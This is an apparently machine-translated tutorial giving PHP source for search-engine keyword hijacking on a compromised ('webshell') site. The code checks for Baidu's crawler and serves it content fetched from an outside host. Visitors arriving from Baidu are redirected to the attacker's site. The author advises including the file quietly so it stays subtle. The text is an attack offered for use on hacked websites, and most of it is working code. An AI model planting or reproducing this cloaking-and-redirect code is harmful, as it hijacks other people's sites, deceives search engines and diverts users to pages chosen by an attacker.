Abstract: In fact, the principle is very simple: Search engine keyword hijacking process is actually, modify the broiler site (Webshell site) A's homepage (want to be included in the Search engine page, the general situation is the homepage), make the following judgment: if (the visitor is a spider) {output the specified content} If (the user is clicked from the search engine to enter the website) {Jump to our Nozomi ...
In fact, the principle is simple:
Search Engine keyword hijacking process is actually, modify the broiler site (Webshell site) A's homepage (want to be included in the Search engine page, the general situation is the homepage), make the following judgments:
If (the visitor is a spider) {
Output the specified content
}
if (the user clicks into the site from a search engine) {
Jump to the site B we want to jump
}
So we can achieve the following effects:
For spiders, if the visitor is a designated spider, then output want to let the spider see the content, if the visitor is not a spider, then output want to the normal user to see the content. Normal users in the browser address bar to enter a URL to visit site A, see the normal home, if the user click on the Baidu search results link into the site A, then jump we want to do SEO site B.
Limited ability to express, said so much do not know that we do not understand ...
Well, here's the code, and you'll probably understand it at a glance. The code is short and easy to understand.
<?PHP################################################ #You can put this file in a directory like Inc and include ##Home require_once (' This file path '); it'll be all right.#It'll be more subtle .################################################ if(Strpos(Strtolower($_server[' Http_user_agent ']), ' Baiduspider ')!==false ) { //Judge Search engine, here is Baidu, can add spiders themselves/*Header ("http/1.1 301 Moved permanently"); Header ("location:http://www.yunsec.net/"); This is 301 jump, 301 is mainly for the search engine, if you want to tell the search engine this page has changed the URL ...*/ $file=file_get_contents(' http://www.yunsec.net/forum.php '); Echo $file;//output specified file contentsExit; } //judging the antecedentsif(Stristr($_server[' Http_referer '], "baidu.com")) {//If the user is from Baidu.com//header ("http/1.1 301 Moved Permanently"),//301 jump, can also not 301, direct jump, 301 status code mainly for search engine useHeader("location:http://www.yunsec.net/");//JumpExit; } ?>
Search engine keyword hijacking php (source code and analysis)